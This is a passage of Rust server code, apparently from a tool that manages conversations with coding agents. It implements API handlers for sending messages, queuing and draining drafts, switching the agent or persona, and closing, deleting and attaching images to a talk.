7054    if body.text.trim().is_empty() && body.attachments.is_empty() {
7055        return Err(ApiError::bad_request("say something"));
7056    }
7057
7058    let id = {
7059        let ui = Arc::clone(&ui);
7060        let asked = id.clone();
7061        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7062    };
7063    // A closed Talk never accepts a new immediate or queued turn. Check this
7064    // before claiming a slot so its ordinary domain refusal is a 409, not an
7065    // incidental failure from the later record/queue write.
7066    {
7067        let ui = Arc::clone(&ui);
7068        let id = id.clone();
7069        blocking(move || {
7070            let talk = ui.talks.get(&id)?;
7071            if !talk.status.open() {
7072                return Err(ApiError::conflict(format!(
7073                    "talk {} is {} and takes no more turns",
7074                    talk.short(),
7075                    talk.status.as_str()
7076                )));
7077            }
7078            Ok(())
7079        })
7080        .await?;
7081    }
7082
7083    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
7084    // actually stores, before anything is written - an unknown id is a 4xx
7085    // that names it rather than a turn (or a queued draft) silently missing
7086    // an image.
7087    let attachments = {
7088        let ui = Arc::clone(&ui);
7089        let id = id.clone();
7090        let ids = body.attachments.clone();
7091        blocking(move || {
7092            ids.into_iter()
7093                .map(|att_id| {
7094                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7095                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7096                    })
7097                })
7098                .collect::<ApiResult<Vec<talk::Attachment>>>()
7099        })
7100        .await?
7101    };
7102
7103    // Pending recovery and a new immediate turn are decided under the same
7104    // claim lock. Without that one critical section, a second `/say` can see
7105    // the first request's claim as "busy" and append itself to the recovered
7106    // draft before the first request rejects it.
7107    let start = {
7108        let ui = Arc::clone(&ui);
7109        let id = id.clone();
7110        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7111    };
7112    let turn_guard = match start {
7113        TalkTurnStart::Claimed(turn_guard) => turn_guard,
7114        TalkTurnStart::Pending => {
7115            return Err(ApiError::conflict(
7116                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7117            ));
7118        }
7119        TalkTurnStart::Foreign => {
7120            return Err(ApiError::conflict(
7121                "a turn is already running in another process; try again when it has finished",
7122            ));
7123        }
7124        TalkTurnStart::Busy => {
7125            // A turn is already running: queue rather than refuse. See
7126            // `Ui::begin_talk_turn` and `talk::queue`.
7127            //
7128            // The queue write and the drain it may owe live inside the task
7129            // `tokio::spawn` hands to the runtime, for the same reason the
7130            // immediate path below puts `record` there: a dropped handler
7131            // future must not be able to land between a durable write and
7132            // the task that answers it. `blocking` runs its closure on
7133            // `spawn_blocking`, which finishes whether or not anyone is left
7134            // to receive its result - so a disconnect at the `.await` below
7135            // would otherwise leave the draft persisted and the reclaimed
7136            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
7137            // ever started and the queued text stranded until some later
7138            // `say` happened to pick it up. The caller's 202 travels back
7139            // over a `oneshot`, sent the moment the write lands.
7140            let (tx, rx) = tokio::sync::oneshot::channel();
7141            tokio::spawn({
7142                let ui = Arc::clone(&ui);
7143                let id = id.clone();
7144                let said = body.text.clone();
7145                let reply_to = body.reply_to.clone();
7146                async move {
7147                    let written = blocking({
7148                        let ui = Arc::clone(&ui);
7149                        let id = id.clone();
7150                        move || {
7151                            let mut talk = ui.talks.get(&id)?;
7152                            // A test-only stop point, right before the write
7153                            // an interleaving test needs to pin - see
7154                            // `BusyQueueGate`. `None` in every real server:
7155                            // the field only exists under `#[cfg(test)]`.
7156                            #[cfg(test)]
7157                            if let Some(gate) = ui
7158                                .busy_queue_gate
7159                                .lock()
7160                                .unwrap_or_else(PoisonError::into_inner)
7161                                .take()
7162                            {
7163                                let _ = gate.reached.send(());
7164                                let _ = gate.release.recv();
7165                            }
7166                            if let Err(error) = talk::queue_reply(
7167                                &mut talk,
7168                                &ui.talks,
7169                                &said,
7170                                attachments,
7171                                reply_to,
7172                            ) {
7173                                if let Ok(fresh) = ui.talks.get(&id) {
7174                                    if !fresh.status.open() {
7175                                        return Err(ApiError::conflict(format!(
7176                                            "talk {} is {} and takes no more turns",
7177                                            fresh.short(),
7178                                            fresh.status.as_str()
7179                                        )));
7180                                    }
7181                                }
7182                                return Err(
7183                                    if error.to_string().contains("invalid reply target") {
7184                                        ApiError::bad_request("invalid reply target")
7185                                    } else {
7186                                        ApiError::from(error)
7187                                    },
7188                                );
7189                            }
7190                            // The turn that looked busy a moment ago can have
7191                            // finished, found nothing to drain and given up the
7192                            // slot in the gap between that check and this write
7193                            // landing - see `drain_loop`'s own doc for the other
7194                            // half of why that gap would otherwise be able to
7195                            // open at all. Reclaiming the slot here, rather than
7196                            // trusting that whoever held it is still watching, is
7197                            // what stops the text just queued from being stranded
7198                            // until an unrelated future `say` happens to drain
7199                            // it.
7200                            let claim = match ui.begin_queued_talk_turn(&id)? {
7201                                Some(turn_guard) => {
7202                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7203                                    Some((talk.clone(), cfg, turn_guard))
7204                                }
7205                                None => None,
7206                            };
7207                            let thinking = ui.is_thinking(&id);
7208                            Ok((TalkView::new(talk, thinking), claim))
7209                        }
7210                    })
7211                    .await;
7212                    let (view, reclaimed) = match written {
7213                        Ok(pair) => pair,
7214                        Err(e) => {
7215                            // Nobody is listening if the handler's own future
7216                            // was already dropped - that is fine, nothing was
7217                            // persisted and there is no response left to carry
7218                            // this error to.
7219                            let _ = tx.send(Err(e));
7220                            return;
7221                        }
7222                    };
7223                    // If this fails, the caller is gone; the drain below still
7224                    // runs exactly as it would have for a caller that stayed.
7225                    let _ = tx.send(Ok(view));
7226                    if let Some((talk, cfg, turn_guard)) = reclaimed {
7227                        let talks = ui.talks.clone();
7228                        drain_loop(talk, talks, cfg, id, turn_guard).await;
7229                    }
7230                }
7231            });
7232            let view = rx
7233                .await
7234                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7235            return Ok((StatusCode::ACCEPTED, Json(view)));
7236        }
7237    };
7238
7239    let (talk, cfg) = {
7240        let ui = Arc::clone(&ui);
7241        let id = id.clone();
7242        blocking(move || {
7243            let talk = ui.talks.get(&id)?;
7244            let (cfg, _) = Config::discover(&talk.repo, None)?;
7245            Ok((talk, cfg))
7246        })
7247        .await?
7248    };
7249
7250    let talks = ui.talks.clone();
7251    // `record` runs *inside* the spawned task, rather than in this handler
7252    // followed by a separate `tokio::spawn` for `respond` - axum drops this
7253    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
7254    // doc), and that drop can land at any `.await` this function makes,
7255    // including one that has already produced its result but not yet
7256    // resumed. A message could end up recorded on disk with the handler
7257    // future gone before it ever reached the `tokio::spawn` that would have
7258    // started the reply. `tokio::spawn` itself is a plain, synchronous call
7259    // that hands the whole future to the runtime as one unit - once made, no
7260    // later drop of *this* handler's own future (that call's return value is
7261    // never held onto here) can reach back in and stop it, so record and the
7262    // hand-off to `respond` are unconditionally atomic from the client's
7263    // point of view. The immediate response this handler owes the caller
7264    // travels back over a `oneshot`, sent the moment `record` succeeds.
7265    let (tx, rx) = tokio::sync::oneshot::channel();
7266    tokio::spawn({
7267        let ui = Arc::clone(&ui);
7268        let talks = talks.clone();
7269        let id = id.clone();
7270        let said = body.text.clone();
7271        let reply_to = body.reply_to.clone();
7272        let mut talk = talk.clone();
7273        async move {
7274            let recorded = blocking({
7275                let talks = talks.clone();
7276                move || {
7277                    if let Err(error) =
7278                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7279                    {
7280                        if let Ok(fresh) = talks.get(&talk.id) {
7281                            if !fresh.status.open() {
7282                                return Err(ApiError::conflict(format!(
7283                                    "talk {} is {} and takes no more turns",
7284                                    fresh.short(),
7285                                    fresh.status.as_str()
7286                                )));
7287                            }
7288                        }
7289                        return Err(if error.to_string().contains("invalid reply target") {
7290                            ApiError::bad_request("invalid reply target")
7291                        } else {
7292                            ApiError::from(error)
7293                        });
7294                    }
7295                    // `record` mutates `talk` in place to the freshly persisted
7296                    // state (status, pending, and the just-appended operator
7297                    // turn), so returning it here is equivalent to re-reading it
7298                    // from disk - without the extra round trip a re-read would
7299                    // need.
7300                    Ok((said.trim().to_owned(), talk))
7301                }
7302            })
7303            .await;
7304            let (text, mut talk) = match recorded {
7305                Ok(pair) => pair,
7306                Err(e) => {
7307                    // Nobody is listening if the handler's own future was
7308                    // already dropped - that is fine, there is no response
7309                    // left to carry this error to and nothing was persisted.
7310                    let _ = tx.send(Err(e));
7311                    return;
7312                }
7313            };
7314            let queued = talk.clone();
7315            let thinking = ui.is_thinking(&id);
7316            // If this fails, the caller is gone; the turn still runs below
7317            // exactly as it would have for a caller that stayed connected.
7318            let _ = tx.send(Ok((queued, thinking)));
7319
7320            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7321                // `respond` records the failure in the transcript itself,
7322                // which is what the phone reads; this line is for the
7323                // operator's terminal.
7324                tracing::warn!("talk {id} turn failed: {e:#}");
7325            }
7326            // Anything `talk::queue` added while the turn above was running
7327            // is still owed an answer - see `drain_loop`.
7328            drain_loop(talk, talks, cfg, id, turn_guard).await;
7329        }
7330    });
7331
7332    let (queued, thinking) = rx
7333        .await
7334        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7335
7336    // 202: the operator's message is recorded and a turn is running.
7337    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7338}
7339
7340/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7341/// changing it. The turn guard is the same per-talk ownership `talk_say`
7342/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7343async fn talk_pending_resume(
7344    State(ui): State<Arc<Ui>>,
7345    Path(id): Path<String>,
7346) -> ApiResult<(StatusCode, Json<TalkView>)> {
7347    let id = {
7348        let ui = Arc::clone(&ui);
7349        let asked = id.clone();
7350        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7351    };
7352    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7353        return Err(ApiError::conflict(
7354            "a talk turn is already running; the queued draft will be handled by it",
7355        ));
7356    };
7357    let (talk, cfg) = {
7358        let ui = Arc::clone(&ui);
7359        let id = id.clone();
7360        blocking(move || {
7361            let talk = ui.talks.get(&id)?;
7362            if !talk.status.open() {
7363                return Err(ApiError::conflict(format!(
7364                    "talk {} is {} and takes no more turns",
7365                    talk.short(),
7366                    talk.status.as_str()
7367                )));
7368            }
7369            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7370                return Err(ApiError::conflict("there is no queued draft to resume"));
7371            }
7372            let (cfg, _) = Config::discover(&talk.repo, None)?;
7373            Ok((talk, cfg))
7374        })
7375        .await?
7376    };
7377    let view = TalkView::new(talk.clone(), true);
7378    let talks = ui.talks.clone();
7379    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7380    Ok((StatusCode::ACCEPTED, Json(view)))
7381}
7382
7383/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7384/// releasing `turn` only once a check finds it truly empty. Shared by both
7385/// callers that can end up owning a talk's turn slot with something already
7386/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
7387/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7388/// holder just gave up - see the comment at that call site.
7389///
7390/// The release is folded into the final generation check under `turn`'s own
7391/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7392/// free". Before its blocking `talk::drain`, this loop observes the queued
7393/// generation. A `say` that sees the turn busy writes its draft, then advances
7394/// that generation. Thus, if it lands while the drain is in flight, the final
7395/// check observes the advance and drains again; otherwise it releases the
7396/// claim while holding the same lock. This keeps the release/arrival handoff
7397/// atomic without holding the global claim mutex across filesystem I/O.
7398async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7399    drain_loop_started(talk, talks, cfg, id, turn, None).await;
7400}
7401
7402/// A settings response must not report idle while its claim is still held.
7403/// Wait until the first drain either releases the claim or promotes a draft.
7404/// The task owns the guard even if the HTTP handler is cancelled while waiting.
7405async fn settle_settings_turn(
7406    talk: Talk,
7407    talks: Talks,
7408    cfg: Config,
7409    id: String,
7410    turn: TalkTurnGuard,
7411    observed: u64,
7412) -> bool {
7413    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7414        let turns = Arc::clone(&turn.turns);
7415        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7416        if live.queued.get(&id).copied().unwrap_or(0) == observed {
7417            // Release under the arrival lock; a later `/say` takes its own claim.
7418            turn.release(&mut live);
7419            return false;
7420        }
7421    }
7422    let (started, settled) = tokio::sync::oneshot::channel();
7423    tokio::spawn(drain_loop_started(
7424        talk,
7425        talks,
7426        cfg,
7427        id,
7428        turn,
7429        Some(started),
7430    ));
7431    settled.await.unwrap_or(false)
7432}
7433
7434async fn drain_loop_started(
7435    mut talk: Talk,
7436    talks: Talks,
7437    cfg: Config,
7438    id: String,
7439    turn: TalkTurnGuard,
7440    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7441) {
7442    let live_set = Arc::clone(&turn.turns);
7443    // `Option` rather than binding `turn` directly to a `_turn` that lives
7444    // for the whole function: releasing it has to happen by calling
7445    // `TalkTurnGuard::release` from inside the locked branch below, which
7446    // takes `self` by value. Left as a plain drop instead, `Drop` would still
7447    // remove the id - correctly, if this loop is ever left some other way -
7448    // but doing it there misses the lock this loop is already holding, which
7449    // is the exact gap `release` exists to close.
7450    let mut turn = Some(turn);
7451    loop {
7452        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7453            // The lease was taken over while a turn ran. Whatever is queued
7454            // stays a draft; running it here would race the new owner.
7455            tracing::warn!("talk {id} lost its turn lease; not draining further");
7456            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7457            if let Some(turn) = turn.take() {
7458                turn.release(&mut live);
7459            }
7460            break;
7461        }
7462        {
7463            // A parking upgrade starts no further turn: whatever is queued
7464            // stays a durable draft for the successor.
7465            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7466            if live.parking {
7467                if let Some(turn) = turn.take() {
7468                    turn.release(&mut live);
7469                }
7470                break;
7471            }
7472        }
7473        // `talk::drain` takes the store lock and can write/rename the talk
7474        // file. Keep the turn mutex out of that synchronous work: it protects
7475        // every talk's in-memory claim, not this talk's disk operation.
7476        let observed = live_set
7477            .lock()
7478            .unwrap_or_else(PoisonError::into_inner)
7479            .queued
7480            .get(&id)
7481            .copied()
7482            .unwrap_or(0);
7483        let drained = blocking({
7484            let talks = talks.clone();
7485            let live_set = Arc::clone(&live_set);
7486            move || {
7487                // Promoting a draft is what starts a turn, so it is decided
7488                // under the same lock a parking upgrade takes: either the
7489                // promotion lands first (and its turn is waited for) or the
7490                // draft stays queued.
7491                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7492                let result = if live.parking {
7493                    Ok(None)
7494                } else {
7495                    talk::drain(&mut talk, &talks)
7496                };
7497                drop(live);
7498                Ok((talk, result))
7499            }
7500        })
7501        .await;
7502        let (next_talk, result) = match drained {
7503            Ok(drained) => drained,
7504            Err(e) => {
7505                tracing::warn!(
7506                    status = %e.status,
7507                    message = %e.message,
7508                    "talk {id} could not start queued-text drain"
7509                );
7510                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7511                turn.take()
7512                    .expect("held for the whole loop until released here")
7513                    .release(&mut live);
7514                break;
7515            }
7516        };
7517        talk = next_talk;
7518        let drained = match result {
7519            Ok(Some(drained)) => drained,
7520            Ok(None) => {
7521                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7522                if live.queued.get(&id).copied().unwrap_or(0) != observed {
7523                    continue;
7524                }
7525                turn.take()
7526                    .expect("held for the whole loop until released here")
7527                    .release(&mut live);
7528                break;
7529            }
7530            Err(e) => {
7531                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7532                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7533                turn.take()
7534                    .expect("held for the whole loop until released here")
7535                    .release(&mut live);
7536                break;
7537            }
7538        };
7539        if let Some(started) = started.take() {
7540            let _ = started.send(true);
7541        }
7542        let responded = match turn.as_ref() {
7543            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7544            None => Err(anyhow::anyhow!("the turn guard was released")),
7545        };
7546        if let Err(e) = responded {
7547            tracing::warn!("talk {id} turn failed: {e:#}");
7548        }
7549    }
7550    drop(turn);
7551    if let Some(started) = started {
7552        let _ = started.send(false);
7553    }
7554}
7555
7556/// Clear a queued draft only if it remains exactly the one the caller saw.
7557async fn talk_pending_clear(
7558    State(ui): State<Arc<Ui>>,
7559    Path(id): Path<String>,
7560    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7561) -> ApiResult<Json<TalkView>> {
7562    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7563    blocking(move || {
7564        let id = resolve_talk(&ui.talks, &id)?;
7565        let mut talk = ui.talks.get(&id)?;
7566        if !talk.status.open() {
7567            return Err(ApiError::conflict(format!(
7568                "talk {} is {} and takes no more turns",
7569                talk.short(),
7570                talk.status.as_str()
7571            )));
7572        }
7573        if !talk::clear_pending_if_matches(
7574            &mut talk,
7575            &ui.talks,
7576            &body.expected_text,
7577            &body.expected_attachments,
7578        )? {
7579            return Err(ApiError::conflict(
7580                "queued message changed; reload it before clearing",
7581            ));
7582        }
7583        let thinking = ui.is_thinking(&talk.id);
7584        Ok(Json(TalkView::new(talk, thinking)))
7585    })
7586    .await
7587}
7588
7589/// Atomically edit a queued draft's text while preserving its attachments.
7590/// The snapshot fields make a concurrent queue or drain a conflict rather
7591/// than silently discarding either message.
7592async fn talk_pending_edit(
7593    State(ui): State<Arc<Ui>>,
7594    Path(id): Path<String>,
7595    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7596) -> ApiResult<Json<TalkView>> {
7597    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7598    let (view, reclaimed) = blocking({
7599        let ui = Arc::clone(&ui);
7600        move || {
7601            let id = resolve_talk(&ui.talks, &id)?;
7602            let mut talk = ui.talks.get(&id)?;
7603            if !talk.status.open() {
7604                return Err(ApiError::conflict(format!(
7605                    "talk {} is {} and takes no more turns",
7606                    talk.short(),
7607                    talk.status.as_str()
7608                )));
7609            }
7610            if !talk::edit_pending_message(
7611                &mut talk,
7612                &ui.talks,
7613                &body.text,
7614                &body.expected_text,
7615                &body.expected_attachments,
7616                body.message,
7617            )? {
7618                return Err(ApiError::conflict(
7619                    "queued message changed; reload it before editing",
7620                ));
7621            }
7622            let claim = match ui.begin_queued_talk_turn(&id)? {
7623                Some(turn_guard) => {
7624                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7625                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7626                }
7627                None => None,
7628            };
7629            let thinking = ui.is_thinking(&id);
7630            Ok((TalkView::new(talk, thinking), claim))
7631        }
7632    })
7633    .await?;
7634    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7635        let talks = ui.talks.clone();
7636        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7637    }
7638    Ok(Json(view))
7639}
7640
7641/// The 409 for a talk that takes no more turns.
7642fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7643    if talk.status.open() {
7644        return Ok(());
7645    }
7646    Err(ApiError::conflict(format!(
7647        "talk {} is {} and takes no more turns",
7648        talk.short(),
7649        talk.status.as_str()
7650    )))
7651}
7652
7653/// The body of `POST /api/talks/{id}/agent`.
7654#[derive(Debug, Deserialize)]
7655struct TalkAgent {
7656    agent: String,
7657}
7658
7659/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7660/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7661/// start a turn on the old session between the check and the write; one that
7662/// arrives in that window finds the talk busy and becomes a draft.
7663async fn talk_agent(
7664    State(ui): State<Arc<Ui>>,
7665    Path(id): Path<String>,
7666    Json(body): Json<TalkAgent>,
7667) -> ApiResult<Json<TalkView>> {
7668    let id = {
7669        let ui = Arc::clone(&ui);
7670        blocking(move || resolve_talk(&ui.talks, &id)).await?
7671    };
7672    let repo = {
7673        let ui = Arc::clone(&ui);
7674        let id = id.clone();
7675        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7676    };
7677    let cfg = config_for(&repo).await?;
7678    // Refuse before taking the claim; see `talk_implementers`.
7679    {
7680        let ui = Arc::clone(&ui);
7681        let id = id.clone();
7682        let cfg = cfg.clone();
7683        let wanted = body.agent.clone();
7684        blocking(move || {
7685            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7686                .map_err(ApiError::bad_request_from)?;
7687            refuse_if_closed(&ui.talks.get(&id)?)
7688        })
7689        .await?;
7690    }
7691    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7692        return Err(ApiError::conflict(
7693            "a talk turn is running; change the agent once it has answered",
7694        ));
7695    };
7696    let switched = {
7697        let ui = Arc::clone(&ui);
7698        let id = id.clone();
7699        let cfg = cfg.clone();
7700        blocking(move || {
7701            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7702                .map_err(ApiError::bad_request_from)?;
7703            let mut talk = ui.talks.get(&id)?;
7704            if !talk.status.open() {
7705                return Err(ApiError::conflict(format!(
7706                    "talk {} is {} and takes no more turns",
7707                    talk.short(),
7708                    talk.status.as_str()
7709                )));
7710            }
7711            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7712            Ok(talk)
7713        })
7714        .await
7715    };
7716    // A `/say` that landed while this held the claim saw the talk busy and
7717    // left a durable draft, trusting the claim's owner to drain it. So the
7718    // claim is settled whatever the outcome. Release an empty draft's claim
7719    // before replying; queued drafts continue independently of the handler.
7720    let observed = ui.queued_generation(&id);
7721    let fresh = {
7722        let ui = Arc::clone(&ui);
7723        let id = id.clone();
7724        blocking(move || Ok(ui.talks.get(&id)?)).await
7725    };
7726    let draining = match fresh {
7727        Ok(talk) => {
7728            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7729        }
7730        Err(_) => false,
7731    };
7732    let talk = switched?;
7733    Ok(Json(TalkView::new(talk, draining)))
7734}
7735
7736/// The body of `POST /api/talks/{id}/persona`.
7737#[derive(Debug, Deserialize)]
7738struct TalkPersona {
7739    persona: String,
7740}
7741
7742/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7743/// like [`talk_agent`]: the turn guard is held for the change and always handed
7744/// to `drain_loop`, so a draft left meanwhile is not stranded.
7745async fn talk_persona(
7746    State(ui): State<Arc<Ui>>,
7747    Path(id): Path<String>,
7748    Json(body): Json<TalkPersona>,
7749) -> ApiResult<Json<TalkView>> {
7750    let id = {
7751        let ui = Arc::clone(&ui);
7752        blocking(move || resolve_talk(&ui.talks, &id)).await?
7753    };
7754    let repo = {
7755        let ui = Arc::clone(&ui);
7756        let id = id.clone();
7757        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7758    };
7759    let cfg = config_for(&repo).await?;
7760    // Refuse before taking the claim; see `talk_implementers`.
7761    {
7762        let ui = Arc::clone(&ui);
7763        let id = id.clone();
7764        let cfg = cfg.clone();
7765        let wanted = body.persona.clone();
7766        blocking(move || {
7767            if persona::find(&cfg.talk.personas, &wanted).is_none() {
7768                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7769            }
7770            refuse_if_closed(&ui.talks.get(&id)?)
7771        })
7772        .await?;
7773    }
7774    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7775        return Err(ApiError::conflict(
7776            "a talk turn is running; change the persona once it has answered",
7777        ));
7778    };
7779    let switched = {
7780        let ui = Arc::clone(&ui);
7781        let id = id.clone();
7782        let cfg = cfg.clone();
7783        blocking(move || {
7784            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7785                return Err(ApiError::bad_request(format!(
7786                    "unknown persona `{}`",
7787                    body.persona
7788                )));
7789            };
7790            let mut talk = ui.talks.get(&id)?;
7791            if !talk.status.open() {
7792                return Err(ApiError::conflict(format!(
7793                    "talk {} is {} and takes no more turns",
7794                    talk.short(),
7795                    talk.status.as_str()
7796                )));
7797            }
7798            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7799            Ok(talk)
7800        })
7801        .await
7802    };
7803    // As in `talk_agent`: settle the claim before replying, even on refusal.
7804    let observed = ui.queued_generation(&id);
7805    let fresh = {
7806        let ui = Arc::clone(&ui);
7807        let id = id.clone();
7808        blocking(move || Ok(ui.talks.get(&id)?)).await
7809    };
7810    let draining = match fresh {
7811        Ok(talk) => {
7812            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7813        }
7814        Err(_) => false,
7815    };
7816    let talk = switched?;
7817    Ok(Json(TalkView::new(talk, draining)))
7818}
7819
7820/// The body of `POST /api/talks/{id}/implementers`.
7821#[derive(Debug, Deserialize)]
7822struct TalkImplementers {
7823    implementers: u8,
7824}
7825
7826/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7827/// like [`talk_agent`]: the turn guard is held for the change and always handed
7828/// to `drain_loop`, so a draft left meanwhile is not stranded.
7829async fn talk_implementers(
7830    State(ui): State<Arc<Ui>>,
7831    Path(id): Path<String>,
7832    Json(body): Json<TalkImplementers>,
7833) -> ApiResult<Json<TalkView>> {
7834    let id = {
7835        let ui = Arc::clone(&ui);
7836        blocking(move || resolve_talk(&ui.talks, &id)).await?
7837    };
7838    let repo = {
7839        let ui = Arc::clone(&ui);
7840        let id = id.clone();
7841        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7842    };
7843    let cfg = config_for(&repo).await?;
7844    // Refuse a request that cannot succeed before taking the claim: a claim
7845    // taken for it is handed to `drain_loop`, which holds the talk busy for a
7846    // moment, so a refusal would make the next request see "busy" instead of
7847    // its own answer. The checks after the claim stay the ones that decide.
7848    {
7849        let ui = Arc::clone(&ui);
7850        let id = id.clone();
7851        let cfg = cfg.clone();
7852        let wanted = body.implementers;
7853        blocking(move || {
7854            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7855            refuse_if_closed(&ui.talks.get(&id)?)
7856        })
7857        .await?;
7858    }
7859    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7860        return Err(ApiError::conflict(
7861            "a talk turn is running; change the implementers once it has answered",
7862        ));
7863    };
7864    let switched = {
7865        let ui = Arc::clone(&ui);
7866        let id = id.clone();
7867        let cfg = cfg.clone();
7868        blocking(move || {
7869            let chosen =
7870                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7871            let mut talk = ui.talks.get(&id)?;
7872            if !talk.status.open() {
7873                return Err(ApiError::conflict(format!(
7874                    "talk {} is {} and takes no more turns",
7875                    talk.short(),
7876                    talk.status.as_str()
7877                )));
7878            }
7879            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7880            Ok(talk)
7881        })
7882        .await
7883    };
7884    // As in `talk_agent`: settle the claim before replying, even on refusal.
7885    let observed = ui.queued_generation(&id);
7886    let fresh = {
7887        let ui = Arc::clone(&ui);
7888        let id = id.clone();
7889        blocking(move || Ok(ui.talks.get(&id)?)).await
7890    };
7891    let draining = match fresh {
7892        Ok(talk) => {
7893            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7894        }
7895        Err(_) => false,
7896    };
7897    let talk = switched?;
7898    Ok(Json(TalkView::new(talk, draining)))
7899}
7900
7901/// `POST /api/talks/{id}/close`.
7902async fn talk_close(
7903    State(ui): State<Arc<Ui>>,
7904    Path(id): Path<String>,
7905) -> ApiResult<Json<TalkView>> {
7906    blocking(move || {
7907        let id = resolve_talk(&ui.talks, &id)?;
7908        let mut talk = ui.talks.get(&id)?;
7909        talk::close(&mut talk, &ui.talks)?;
7910        let thinking = ui.is_thinking(&talk.id);
7911        Ok(Json(TalkView::new(talk, thinking)))
7912    })
7913    .await
7914}
7915
7916/// `POST /api/talks/{id}/reopen`.
7917async fn talk_reopen(
7918    State(ui): State<Arc<Ui>>,
7919    Path(id): Path<String>,
7920) -> ApiResult<Json<TalkView>> {
7921    blocking(move || {
7922        let id = resolve_talk(&ui.talks, &id)?;
7923        let mut talk = ui.talks.get(&id)?;
7924        talk::reopen(&mut talk, &ui.talks)?;
7925        let thinking = ui.is_thinking(&talk.id);
7926        Ok(Json(TalkView::new(talk, thinking)))
7927    })
7928    .await
7929}
7930
7931/// `DELETE /api/talks/{id}`.
7932///
7933/// Removes the conversation's record and artifacts outright, unlike
7934/// [`talk_close`] which keeps the record as history. A turn already in
7935/// flight is not refused here the way [`run_delete`] refuses a live run:
7936/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7937/// under [`Talks::guard`], that the record they are about to write back is
7938/// still there, so a delete racing a turn is safe without this route having
7939/// to know a turn is running at all.
7940async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7941    blocking(move || {
7942        let id = resolve_talk(&ui.talks, &id)?;
7943        ui.talks.remove(&id)?;
7944        Ok(StatusCode::NO_CONTENT)
7945    })
7946    .await
7947}
7948
7949/// Expand an id or short id to exactly one talk id.
7950fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7951    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7952}
7953
7954/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7955/// future `talk-say`.
7956async fn talk_attachment_post(
7957    State(ui): State<Arc<Ui>>,
7958    Path(id): Path<String>,
7959    headers: HeaderMap,
7960    body: Bytes,
7961) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7962    let mime = validate_attachment(&headers, &body)?;
7963    let name = filename_header(&headers);
7964    let data = body.to_vec();
7965    blocking(move || {
7966        let id = resolve_talk(&ui.talks, &id)?;
